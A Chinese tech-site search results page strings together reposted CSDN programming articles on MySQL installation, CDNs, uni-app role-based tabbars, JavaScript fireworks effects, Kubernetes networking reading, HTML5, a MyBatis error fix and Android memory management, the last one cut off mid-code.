[NET平台WCF服务开发教程]的搜索结果

...blog.csdn.net/weixin_63294643/article/details/127176401。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 安装最新版的MySQL 一、下载 二、安装 三、启动与停止 1. 方式一 2. 方拾二 四、客户端连接 1. 方式一 自带客户端工具 2. 方式二 系统自带命令行连接 一、下载 首先肯定是官网下载最新版 MySQL官网 点击这里的Downloads，下面有开发版和社区版两种，我们选择免费的社区版即可。 因为我们是Windows系统，所以选择这个就行了 因为我们安装最新版，所以直接下载这个就可以 下载完就是一个msi文件 二、安装 点击Execute，下面就是等待了，我是等了好几分钟 等待安装完成，完成后点击Next 继续Next 我们看到Mysql默认端口号是3306，我们不需要做出修改，直接Next就好了 我们依然使用推荐安装，继续Next就好了 下面我们进入的是“账户与角色”页面，需要我们设置默认账户root的密码，并且重复输入该密码，然后继续Next就好了 我输入的密码是123456，所以下面会提示密码太弱。 下面我们能够看到是Windows服务，说明会将MySQL注册成为Windows的一项系统服务，服务的名称叫“MySQL80”，而且该系统服务会随系统开机而自启。 我们使用默认项即可，直接点击Next 下面点击Execute，稍加等待配置信息 完成后点击Finish即可 下面点击Cancel,然后在弹出页面点击Yes即可完成。 好，进行到这一步，那么安装就完成了。 三、启动与停止 下面我们研究一下如何启动并停止MySQL，以及如何连接MySQL 启动与停止一共有两种方法 1. 方式一 在Win+R，输入Services.msc 下面会打开我们的Windows系统服务，那会说过了，安装时候自动的注册为系统服务了，我们只需要找一下就能找到。 我们发现，其实安装完成后已经默认开启了，并且使用右键菜单中你会发现，这里可以控制它的启动与停止。 2. 方拾二 我们可以直接在命令行(Win+R后输入cmd即可调用)输入指令 启动：net start mysql80 停止：net stop mysql80 这里的mysql80就是我们安装时候注册的系统服务，这个时候不区分大小写 下面我们来尝试着用命令行操作一下，搜索cmd，找到命令提示符 但是一定要使用管理员身份运行命令行 我们来尝试停止服务，再启动 四、客户端连接 需要使用客户端工具 1. 方式一 自带客户端工具 手动输入密码 123456，即可连接MySQL 我们能够看到，这里是 MySQL 8.0.30 的社区版 2. 方式二 系统自带命令行连接 如果想要在任意目录下都能够连接MySQL，并且执行MySQL指令，那就必须配置环境变量 直接搜索环境变量 点击环境变量 在我们的系统变量中找到并点击path 下面要找到刚才安装的MySQL的目录，并新建环境变量 目录为 C:\Program Files\MySQL\MySQL Server 8.0\bin 将这个目录新建到环境变量中 加入之后一路确定就可以了。 下面就可以用命令行来连接MySQL了 cmd打开命令提示符，输入 mysql -u root -p 回车之后紧接着输入密码123456即可 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_63294643/article/details/127176401。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/m0_37928917/article/details/88640408。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 互联网的蓬勃发展，全世界的网民总数已经超过了 40 亿，意味着全世界一半的人都在上网，我国网民规模达8.02亿，普及率为57.7%，如此庞大的市场必然竞争激烈，使网站对对网站的浏览速度和效果愈加重视，CDN作为网站加速的工具，得以得到更广泛的应用和发展。 CDN的全称Content Delivery Network，即内容分发网络，我们将从CDN的中文表义去理解，也就是内容，分发和网络分析起： 1．内容 是指储存在CDN节点上的动静态资源的分发和访问的数据内容，比如JS、CSS、图片和静态页面等，用户一般从主站获取动态内容后，再从CDN下载相应的静态数据。 2．分发 就是如何让刚才提到的数据内容，快速的部署在这个网络中，从而快速为用户服务。 3．网络 是部署于全国或者全球的一大堆服务器，这些服务器基于当前互联网的基础架构在其上层再构成一个网络，这个网络专为资源分发而生。 CDN是一个经策略性部署的整体系统，从技术上全面解决由于网络带宽小、用户访问量大、网点分布不均而产生的用户访问网站响应速度慢的根本原因。 因此CDN主要作用是通过内容和资源就近分发，保证用户快速访问，提升用户体验的一个内容网络。 CDN是一种组合技术，它的重要组成部分包括源站、缓存服务器、智能DNS、客户端等。 1．折叠源站 源站指发布内容的原始站点。添加、删除和更改网站的文件，都是在源站上进行的;另外缓存服务器所抓取的对象也全部来自于源站。 2．缓存服务器 缓存服务器是直接提供给用户访问的站点资源，由一台或数台服务器组成；当用户发起访问时，他的访问请求被智能DNS定位到离他较近的缓存服务器。如果用户所请求的内容刚好在缓存里面，则直接把内容返还给用户；如果访问所需的内容没有被缓存，则缓存服务器向邻近的缓存服务器或直接向源站抓取内容，然后再返还给用户。 3．智能DNS CDN整个技术核心是智能DNS，它主要根据用户的来源，将其访问请求指向离用户比较近的缓存服务器，如把深圳电信的用户请求指向到深圳电信IDC机房中的缓存服务器。通过智能DNS解析，让用户访问同服务商下的服务器，消除国内南北网络互相访问慢的问题，达到加速作用。 4．客户端 客户端或称用户端即发起访问的普通用户，一般的访问方式是浏览器。 云漫网络自成立以来，旗下的TTCDN颠覆了以往传统CDN技术加速，又增添防御功能，让用户更加便捷安全的去访问网站，被攻击时也感受不到 本篇文章为转载内容。原文链接：https://blog.csdn.net/m0_37928917/article/details/88640408。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/qq_36410795/article/details/109075488。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 文章目录 1. 需求背景 1.1 源码下载 2. 问题前提及思路 3. 开始撸 3.1 设置 tabbar.js 配置不同角色不同的菜单 3.2 设置 page.json 3.3 vue 配置 3.4 tabBar组件代码 3.5 setRole方法 1. 需求背景 公司要求开发一个小程序，要求二种不同权限的人群都可以使用，使用时根据不同的权限，获取不同的tabbar，以及展示对应不同的内容。 登录页面分为 用户登录 及 管理员登录 1.2 用户登录和管理员登录的 tabbar 根据账号角色进行对应展示 1.1 源码下载 【源码】uni-app 微信小程序根据角色动态的更改底部tabbar 2. 问题前提及思路 uniapp 本身的动态设置tabbar方法 uni.setTabBarItem(OBJECT)，但是使用这个方法刷新切换时会短暂白屏以及uni.setTabBarItem只能满足动态设置tabbar一项的内容，无法实现多项的需求。所有综合考虑决定还是使用uview-ui的Tabbar底部导航栏组件。 最终选择了uni-app的uview-ui（UI框架）+ vuex来完成这个功能。其中，vuex主要是用来存储当前的tabbar内容的。 3. 开始撸 3.1 设置 tabbar.js 配置不同角色不同的菜单 在utils文件夹下新建一个tabbar.js，来存储不同权限下的底部导航数据。我这里有两种不同的权限，第二种权限比第一种权限多了两项菜单。 // 普通用户tabbarlet tab1 = [{"pagePath": "/pages/loginLogRecord/index","text": "登录记录","iconPath": "/static/icon_bx.png","selectedIconPath": "/static/icon_bx_hover.png"},{"pagePath": "/pages/accessRecord/index","text": "存取记录","iconPath": "/static/icon_adress.png","selectedIconPath": "/static/icon_adress_hover.png"},{"pagePath": "/pages/person/index","text": "我的","iconPath": "/static/icon_user.png","selectedIconPath": "/static/icon_user_hover.png"}]// 管理员用户tabbarlet tab2 = [{"pagePath": "/pages/loginLogRecord/index","text": "登录记录","iconPath": "/static/icon_bx.png","selectedIconPath": "/static/icon_bx_hover.png"},{"pagePath": "/pages/accessRecord/index","text": "存取记录","iconPath": "/static/icon_adress.png","selectedIconPath": "/static/icon_adress_hover.png"},{"pagePath": "/pages/authorizationList/index","text": "授权名单","iconPath": "/static/authorization.png","selectedIconPath": "/static/authorization_hover.png"},{"pagePath": "/pages/inventory/index","text": "盘点","iconPath": "/static/inventory.png","selectedIconPath": "/static/inventory_hover.png"},{"pagePath": "/pages/person/index","text": "我的","iconPath": "/static/icon_user.png","selectedIconPath": "/static/icon_user_hover.png"}]export default [tab1,tab2] 3.2 设置 page.json 在page.json文件里，把tabbar里的几个页面去重放进去。只是单纯的写个路径，什么都不要添加。test，iconPath，selectedIconPath 字段全部删掉这里不需要配置。 "tabBar": {"color": "333333","selectedColor": "328CFA","backgroundColor": "FFFFFF","list": [{"pagePath": "pages/loginLogRecord/index"},{"pagePath": "pages/accessRecord/index"},{"pagePath": "pages/authorizationList/index"},{"pagePath": "pages/inventory/index"},{"pagePath": "pages/person/index"}]} 3.3 vue 配置 uniapp是可以直接使用vuex的，所以，直接在项目的根目录下新建一个store文件夹，存储相关数据。 import Vue from 'vue'import Vuex from 'vuex'Vue.use(Vuex)import tabBar from '@/utils/tabbar.js'const store = new Vuex.Store({state: {wx_token: '',tabBarList: [],roleId: 0, //0 普通员工，1管理员},mutations: {// 设置wx_tokensetWxtoken(state, data) {state.wx_token = data;uni.setStorageSync('wx_token',data)},// 设置用户角色IDsetRoleId(state, data) {state.roleId = data;uni.setStorageSync('roleId',data)state.tabBarList = tabBar[data];uni.setStorageSync('tabBarList',tabBar[data])},},})export default store 在入口文件 main.js 中使用 import Vue from 'vue'import App from './App'import uView from "uview-ui";import store from './store/index'Vue.use(uView);Vue.config.productionTip = falseVue.prototype.$store = storeApp.mpType = 'app'const app = new Vue({...App,store})app.$mount() 3.4 tabBar组件代码 <template><view><u-tabbar :list="tabBarList" :active-color="activeColor" :inactive-color="inactiveColor" :height="84":border-top="borderTop"></u-tabbar></view></template><script>import store from '@/store'export default {props:{tabBarList:{type:Array,default:uni.getStorageSync('tabBarList')} },data() {return {borderTop: true,inactiveColor: '909399',activeColor: '328CFA',} },}</script> 3.5 setRole方法 登录时，获取返回的权限，然后再调用setRole方法 <script>import { mapMutations } from 'vuex';export default {data() {return {roleId:0,};},methods: {methods: {...mapMutations(['setRoleId']),},//登录login() {this.setRoleId(this.roleId)// 0或者1uni.switchTab({url: '../index/index' //然后跳转到登录后的首页})} }}</script> 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_36410795/article/details/109075488。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/huangwfu/article/details/128754023。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 文章目录 制作炫酷烟花特效 一、普通烟花(分散形) HTML代码 CSS代码 JS代码 二、圆形烟花 HTML代码 CSS代码 JS代码 三、爱心形烟花 HTML代码 CSS代码 JS代码 四、源码获取 在线下载 制作炫酷烟花特效 💡本篇内容使用html+css+js制作鼠标点击出现烟花效果，分别介绍了分散型烟花，圆形烟花和爱心形烟花，爱心形烟花算法比较复杂，需要源码的小伙伴可以通过文章末尾链接下载。 一、普通烟花(分散形) 效果展示 HTML代码 引入js 文件 <script type="text/javascript" src="buffermove1.js"></script> CSS代码 创建一个黑色背景 <style type="text/css">{padding: 0px;margin: 0px;}body{background: 000;width: 100%;height:100%;overflow: hidden;}</style> JS代码 <script type="text/javascript">//this绑定的属性可以在整个构造函数内部都可以使用，而变量只能在函数内部使用。function Fireworks(x,y){//x,y鼠标的位置this.x=x;this.y=y;var that=this;//1.创建烟花。this.ceratefirework=function(){this.firework=document.createElement('div');//整个构造函数内部都可以使用this.firework.style.cssText=width:5px;height:5px;background:fff;position:absolute;left:${this.x}px;top:${document.documentElement.clientHeight}px;;document.body.appendChild(this.firework);this.fireworkmove();};//2.烟花运动和消失this.fireworkmove=function(){buffermove(this.firework,{top:this.y},function(){document.body.removeChild(that.firework);//烟花消失，碎片产生that.fireworkfragment();});};//3.创建烟花的碎片this.fireworkfragment=function(){for(var i=0;i<this.ranNum(30,60);i++){this.fragment=document.createElement('div');this.fragment.style.cssText=width:5px;height:5px;background:rgb(${this.ranNum(0,255)},${this.ranNum(0,255)},${this.ranNum(0,255)});position:absolute;left:${this.x}px;top:${this.y}px;;document.body.appendChild(this.fragment);this.fireworkboom(this.fragment);//将当前创建的碎片传过去，方便运动和删除} }//4.碎片运动this.fireworkboom=function(obj){//obj:创建的碎片//设点速度(值不同，正负符号不同)var speedx=parseInt((Math.random()>0.5?'-':'')+this.ranNum(1,15));var speedy=parseInt((Math.random()>0.5?'-':'')+this.ranNum(1,15));//初始速度var initx=this.x;var inity=this.y;obj.timer=setInterval(function(){//一个盒子运动initx+=speedx;inity+=speedy;if(inity>=document.documentElement.clientHeight){clearInterval(obj.timer);document.body.removeChild(obj);}obj.style.left=initx+'px';obj.style.top=inity+'px';},20);}//随机方法this.ranNum=function (min,max){return Math.round(Math.random()(max-min))+min;};}document.onclick=function(ev){var ev=ev||window.event;new Fireworks(ev.clientX,ev.clientY).ceratefirework();}</script> 二、圆形烟花 效果展示 HTML代码 引入js 文件 <script type="text/javascript" src="buffermove1.js"></script> CSS代码 创建一个黑色背景 <style type="text/css">{padding: 0px;margin: 0px;}body{background: 000;width: 100%;height:100%;overflow: hidden;}</style> JS代码 <script type="text/javascript">//this绑定的属性可以在整个构造函数内部都可以使用，而变量只能在函数内部使用。function Fireworks(x,y){//x,y鼠标的位置this.x=x;this.y=y;var that=this;//1.创建烟花。this.ceratefirework=function(){this.firework=document.createElement('div');//整个构造函数内部都可以使用this.firework.style.cssText=width:5px;height:5px;background:fff;position:absolute;left:${this.x}px;top:${document.documentElement.clientHeight}px;;document.body.appendChild(this.firework);this.fireworkmove();};//2.烟花运动和消失this.fireworkmove=function(){var that=this;buffermove(this.firework,{top:this.y},function(){document.body.removeChild(that.firework);//烟花消失，碎片产生that.fireworkfragment();});};//3.创建烟花的碎片this.fireworkfragment=function(){var num=this.ranNum(30,60);//盒子的个数this.perRadio=2Math.PI/num;//弧度for(var i=0;i<num;i++){this.fragment=document.createElement('div');this.fragment.style.cssText=width:5px;height:5px;background:rgb(${this.ranNum(0,255)},${this.ranNum(0,255)},${this.ranNum(0,255)});position:absolute;left:${this.x}px;top:${this.y}px;;document.body.appendChild(this.fragment);this.fireworkboom(this.fragment,i);//将当前创建的碎片传过去，方便运动和删除} }//4.碎片运动this.fireworkboom=function(obj,i){//obj:创建的碎片var r=10;obj.timer=setInterval(function(){//一个盒子运动r+=4;if(r>=200){clearInterval(obj.timer);document.body.removeChild(obj);}obj.style.left=that.x+Math.sin(that.perRadioi)r+'px';obj.style.top=that.y+Math.cos(that.perRadioi)r+'px';},20);}//随机方法this.ranNum=function (min,max){return Math.round(Math.random()(max-min))+min;};}document.onclick=function(ev){var ev=ev||window.event;new Fireworks(ev.clientX,ev.clientY).ceratefirework();}</script> 三、爱心形烟花 效果展示 HTML代码 引入js 文件 <script type="text/javascript" src="buffermove1.js"></script> CSS代码 创建一个黑色背景 <style type="text/css">{padding: 0px;margin: 0px;}body{background: 000;width: 100%;height:100%;overflow: hidden;}</style> JS代码 <script type="text/javascript">//this绑定的属性可以在整个构造函数内部都可以使用，而变量只能在函数内部使用。function Fireworks(x,y){//x,y鼠标的位置this.x=x;this.y=y;var that=this;//1.创建烟花。this.ceratefirework=function(){this.firework=document.createElement('div');//整个构造函数内部都可以使用this.firework.style.cssText=width:5px;height:5px;background:fff;position:absolute;left:${this.x}px;top:${document.documentElement.clientHeight}px;;document.body.appendChild(this.firework);this.fireworkmove();};//2.烟花运动和消失this.fireworkmove=function(){buffermove(this.firework,{top:this.y},function(){document.body.removeChild(that.firework);//烟花消失，碎片产生that.fireworkfragment();});};//3.创建烟花的碎片this.fireworkfragment=function(){var num=this.ranNum(30,60);//盒子的个数this.perRadio=2Math.PI/num;//弧度for(var i=0;i<num;i++){this.fragment=document.createElement('div');this.fragment.style.cssText=width:5px;height:5px;background:rgb(${this.ranNum(0,255)},${this.ranNum(0,255)},${this.ranNum(0,255)});position:absolute;left:${this.x}px;top:${this.y}px;;document.body.appendChild(this.fragment);this.fireworkboom(this.fragment,i);//将当前创建的碎片传过去，方便运动和删除} }//x=16Math.pow(sint,3); //Math.sin(perRadioi)//y=13Cost-5Cos2t-2Cos3t-Cos4t//4.碎片运动this.fireworkboom=function(obj,i){//obj:创建的碎片var r=0.1;obj.timer=setInterval(function(){//一个盒子运动r+=0.4;if(r>=10){clearInterval(obj.timer);document.body.removeChild(obj);}obj.style.left=that.x+16Math.pow(Math.sin(that.perRadioi),3)r+'px';obj.style.top=that.y-(13Math.cos(that.perRadioi)-5Math.cos(2that.perRadioi)-2Math.cos(3that.perRadioi)-Math.cos(4that.perRadioi))r+'px';},20);}//随机方法this.ranNum=function (min,max){return Math.round(Math.random()(max-min))+min;};}document.onclick=function(ev){var ev=ev||window.event;new Fireworks(ev.clientX,ev.clientY).ceratefirework();}</script> 四、源码获取 在线下载 资源链接：https://gitee.com/huang_weifu/JavaScript_demo.git 本篇文章为转载内容。原文链接：https://blog.csdn.net/huangwfu/article/details/128754023。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...深入理解了Kubernetes网络桥接问题及其对Pod内容器间通信的影响之后，进一步的延伸阅读可聚焦于以下几个方面： 1. CNI插件新进展与最佳实践：近期，随着Kubernetes社区的持续发展，各种CNI插件如Calico、Weave Net等不断推出新版本和优化策略。例如，Calico v3.20引入了更精细的网络策略控制和改进后的IPAM性能，对于大规模集群下的网络稳定性和安全性具有重要意义。通过关注这些最新动态，您可以更好地适应并应对实际生产环境中的网络配置挑战。 2. 云原生网络解决方案的前沿研究：学术界和工业界都在积极探索云原生环境下的新型网络模型和技术。例如，eBPF（Extended Berkeley Packet Filter）技术的应用正在逐步改变传统网络数据包处理方式，为解决复杂网络问题提供了新的思路。此外，Service Mesh架构也在推动着服务间通信模式的变革，Istio、Linkerd等项目正着力于提供跨多个Pod甚至跨集群的服务间安全、可靠且可观测的通信能力。 3. 实战案例分析与故障排查经验分享：各大云服务商和技术博客上常有基于真实场景的Kubernetes网络故障排查实例，包括因网络桥接异常导致的容器间通信问题。学习这些案例不仅能帮助您掌握排查方法，还能了解如何结合日志分析、网络抓包等工具快速定位问题根源，提升运维效率。 4. Kubernetes官方文档与社区讨论：保持对Kubernetes官方文档中关于网络部分的关注是必不可少的，其中详细介绍了不同网络模型的工作原理及配置方法。同时，积极参与Stack Overflow、GitHub Issues等社区平台上的讨论，可以及时获取到第一手的问题反馈与解决方案，紧跟社区步伐，确保您的Kubernetes网络环境始终处于最佳状态。

...blog.csdn.net/weixin_42981419/article/details/86162058。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 Html5简单描述(优点与缺点) 什么是HTML5 HTML5指的是包括HTML、CSS和JavaScript在内的一套技术组合。它希望能够减少网页浏览器对于需要插件的丰富性网络应用服务（Plug-in-Based Rich Internet Application，RIA），例如：AdobeFlash、Microsoft Silverlight与Oracle JavaFX的需求，并且提供更多能有效加强网络应用的标准集。HTML5是HTML最新版本，2014年10月由万维网联盟（W3C）完成标准制定。目标是替换1999年所制定的HTML 4.01和XHTML 1.0标准，以期能在互联网应用迅速发展的时候，使网络标准达到匹配当代的网络需求 HTML5现状及浏览器支持 大部分主流浏览器已经支持HTML5，但是各个浏览器支持的方式以及语法有所差异性。支持Html5的浏览器包括Firefox（火狐浏览器），IE9 及其更高版本，Chrome（谷歌浏览器），Safari，Opera等现代浏览器。 HTML5优点与缺点 优点 1、网络标准统一、HTML5本身是由W3C推荐出来的。 2、多设备、跨平台 3、即时更新。 4、提高可用性和改进用户的友好体验； 5、有几个新的标签，这将有助于开发人员定义重要的内容； 6、可以给站点带来更多的多媒体元素(视频和音频)； 7、可以很好的替代Flash和Silverlight； 8、涉及到网站的抓取和索引的时候，对于SEO很友好； 9、被大量应用于移动应用程序和游戏。 缺点 a)、安全：像之前Firefox4的web socket和透明代理的实现存在严重的安全问题，同时web storage、web socket 这样的功能很容易被黑客利用，来盗取用户的信息和资料。 b)、完善性：许多特性各浏览器的支持程度也不一样。 c)、技术门槛：HTML5简化开发者工作的同时代表了有许多新的属性和API需要开发者学习，像web worker、web socket、web storage 等新特性，后台甚至浏览器原理的知识，机遇的同时也是巨大的挑战 d)、性能：某些平台上的引擎问题导致HTML5性能低下。 e)、浏览器兼容性：最大缺点，IE9以下浏览器几乎全军覆没。 详细了解HTML5概要与新增标签地址(大神果哥):https://www.cnblogs.com/best/p/6096476.html posted @ 2018-08-12 12:45 韦邦杠 阅读(...) 评论(...) 编辑 收藏 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_42981419/article/details/86162058。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/kaikai_gege/article/details/109730197。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 报错信息： org.apache.ibatis.binding.BindingException: Type interface com.itcase.dao.UserDao is not known to the MapperRegistry.at org.apache.ibatis.binding.MapperRegistry.getMapper(MapperRegistry.java:47)at org.apache.ibatis.session.Configuration.getMapper(Configuration.java:779)at org.apache.ibatis.session.defaults.DefaultSqlSession.getMapper(DefaultSqlSession.java:291)at com.itcase.dao.UserDaoTest.test1(UserDaoTest.java:18)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:498)at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:47)at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:44)at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:271)at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:70)at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:50)at org.junit.runners.ParentRunner$3.run(ParentRunner.java:238)at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:63)at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:236)at org.junit.runners.ParentRunner.access$000(ParentRunner.java:53)at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:229)at org.junit.runners.ParentRunner.run(ParentRunner.java:309)at org.junit.runner.JUnitCore.run(JUnitCore.java:160)at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs(JUnit4IdeaTestRunner.java:68)at com.intellij.rt.execution.junit.IdeaTestRunner$Repeater.startRunnerWithArgs(IdeaTestRunner.java:47)at com.intellij.rt.execution.junit.JUnitStarter.prepareStreamsAndStart(JUnitStarter.java:242)at com.intellij.rt.execution.junit.JUnitStarter.main(JUnitStarter.java:70) 一般这总情况就是 > Mybatis的config文件忘记在<configuration></configuration>> 里加上以下代码了，下边的UserMapper.xml换成你们报错的文件 <mappers><mapper resource="com/itcase/dao/UserMapper.xml"/></mappers> 要是加了mapper依然报错，如果是以下错误的话：点我看另一篇博客 Caused by: org.apache.ibatis.exceptions.PersistenceException: Error building SqlSession. The error may exist in com/itcase/dao/UserMapper.xml Cause: org.apache.ibatis.builder.BuilderException: Error parsing SQL Mapper Configuration. Cause: java.io.IOException: Could not find resource com/itcase/dao/UserMapper.xmlat org.apache.ibatis.exceptions.ExceptionFactory.wrapException(ExceptionFactory.java:30)at org.apache.ibatis.session.SqlSessionFactoryBuilder.build(SqlSessionFactoryBuilder.java:80)at org.apache.ibatis.session.SqlSessionFactoryBuilder.build(SqlSessionFactoryBuilder.java:64)at com.itcase.util.MybatisUtil.<clinit>(MybatisUtil.java:20)... 23 moreCaused by: org.apache.ibatis.builder.BuilderException: Error parsing SQL Mapper Configuration. Cause: java.io.IOException: Could not find resource com/itcase/dao/UserMapper.xmlat org.apache.ibatis.builder.xml.XMLConfigBuilder.parseConfiguration(XMLConfigBuilder.java:121)at org.apache.ibatis.builder.xml.XMLConfigBuilder.parse(XMLConfigBuilder.java:98)at org.apache.ibatis.session.SqlSessionFactoryBuilder.build(SqlSessionFactoryBuilder.java:78)... 25 moreCaused by: java.io.IOException: Could not find resource com/itcase/dao/UserMapper.xmlat org.apache.ibatis.io.Resources.getResourceAsStream(Resources.java:114)at org.apache.ibatis.io.Resources.getResourceAsStream(Resources.java:100)at org.apache.ibatis.builder.xml.XMLConfigBuilder.mapperElement(XMLConfigBuilder.java:372)at org.apache.ibatis.builder.xml.XMLConfigBuilder.parseConfiguration(XMLConfigBuilder.java:119)... 27 more 本篇文章为转载内容。原文链接：https://blog.csdn.net/kaikai_gege/article/details/109730197。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...blog.csdn.net/sslinp/article/details/84787843。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 本系列文章，主要是总结我对Android开发过程中内存优化的理解，很多东西都是平常的习惯和一些细节问题，重在剖析优化的原理，养成一种良好的代码习惯。 概述 既然谈优化，就绕不开Android三个内存相关的经典问题： OOM 内存泄漏 频繁GC卡顿 导致这三个问题的原因： OOM App在启动时会从系统分配一个默认的堆内存，同时拥有一个堆内存最大值（可以动态申请这个大小），这个Max Heap Size的大小，决定了软件运行时可以申请的最大运行内存。App软件内存分配是个不断创建和GC回收的过程，就像一个水池拥有注入和排出水的通道，当注入过快，排出不足时，水池满了溢出，Out of Memory，即我们常说的OOM。 内存泄漏 当我们在代码中创建对象，会申请内存空间，同时包含一个对象的引用，当我们长时间不使用该引用时，JVM GC操作时会根据这个引用去释放内存。但是，对象的回收可能有点差错，如果这个对象A被另一个线程B所引用，当我们不再使用A，可A却处于B的hold状态，那么我们每次创建的A都得不到回收，这个时候就会发生内存泄漏了。 频繁GC卡顿 上面说了，App的堆内存有最大值，是有限的，那么如果我们频繁的创建，当运行内存不断上升，为了维持App的运行，GC回收也会频繁操作，软件运行资源有些，必然导致卡顿问题。 JAVA的GC机制，非常的复杂和精辟，不可一言概论之，在看过许多blog之后，给出一点自己的总结。 简述JVM GC 我们都知道Java语言非常的方便，不像C语言，申请和释放内存都是自己操作，java有虚拟机帮忙。Android 的每个应用程序都会使用一个专有的Dalvik虚拟机实例来运行，即使内存泄漏也只是kill当前App. Java虚拟机有一套完整的GC方案，只是简单理解的话就是，它维持着一个对象关系树，当开始GC操作时，它会从GC Roots开始扫描整个Object Tree，当发现某个无法从Tree中引用到的对象时，便将其回收。 GC Roots分类举例： Class类 Alive Thread 线程stack上的对象，如方法或者局部变量 JNI活动对象 System Class Loader Java中的引用关系 java中有四种对象引用关系，分别是：强引用StrongRefernce、软引用SoftReference、弱引用WeakReference、虚引用PhantomReference，这四种引用关系分别对应的效果： StrongRefernce 通过new创建的对象，如Object obj = new Object();，强引用不会被垃圾回收器回收和销毁，即是OOM，所以这也容易造成我们接下来会分析的《非静态内部类持有对象导致的内存泄漏问题》 SoftReference 软引用可以被垃圾回收器回收，但它的生命周期要强于弱引用，但GC回收发生时，只有在内存空间不足时才会回收它 WeakReference 弱引用的生命周期短，可以被GC回收，但GC回收发生时，扫描到弱引用便会被垃圾回收和销毁掉 PhantomReference 虚引用任何时候都可以被GC回收，它不会影响对象的垃圾回收机制，它只有一个构造函数，因此只能配合ReferenceQueue一起使用，用于记录对象回收的过程 PhantomReference(T referent, ReferenceQueue<? super T> q) 关于ReferenceQueue 他的作用主要用于记录引用是否被回收，除了强引用其他的引用方式得构造函数中都包含了ReferenceQueue参数。当调用引用的get（）方法返回null时，我们的对象不一定已经回收掉了，可能正在进入回收流程中，而当对象被确认回收后，它的引用会被添加到ReferenceQueue中。 Felix obj = new Felix();ReferenceQueue<Felix> rQueue = new 